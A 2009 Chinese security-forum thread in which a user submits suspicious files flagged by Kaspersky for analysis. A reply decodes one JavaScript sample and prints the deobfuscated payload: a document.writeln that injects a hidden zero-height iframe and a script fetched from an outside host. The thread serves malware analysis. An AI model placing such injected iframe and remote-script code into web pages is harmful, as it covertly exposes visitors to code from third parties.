找回密码
 注册创意安天

上传三个可疑文件,目前卡巴报,其它国产没报,不知是不是误报

[复制链接]
发表于 2009-6-12 19:22 | 显示全部楼层 |阅读模式
本帖最后由 dong-win 于 2009-6-13 00:15 编辑

上传三个可疑文件,目前卡巴报,其它国产没报,不知是不是误报,给安天分析

请分析结果,到时回复一下!!!谢谢!后面两个要解压密码:virus

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册创意安天

×
发表于 2009-7-9 15:54 | 显示全部楼层
本帖最后由 newpublic 于 2009-7-9 16:43 编辑

分析了 adtop[2]9.js
最后得到的解密后结果为
document.writeln('<iframe height=0 width=100 src="http://blog.tianya.cn/blogger/post_show.asp?BlogID=2077632&PostID=17616891&idWriter=24392618&Key=379061925"></iframe><script src=http://www.czn.com.cn/logo.js></script>')

但由于 http://www.czn.com.cn/logo.js 可能已经被删,无法 down 回来继续分析
故无法得知其后续情况

iframe height=0 还是有点可疑的

http://blog.tianya.cn/blogger/po ... 8&Key=379061925
只能看到如下内容:
<iframe src=http://www.google.com/search?hl=zh-CN&q=地址&btnI=w width=0 height=0></iframe>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册创意安天

本版积分规则

Archiver|手机版|小黑屋|创意安天 ( 京ICP备09068574,ICP证100468号。 )

GMT+8, 2024-11-22 18:19

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表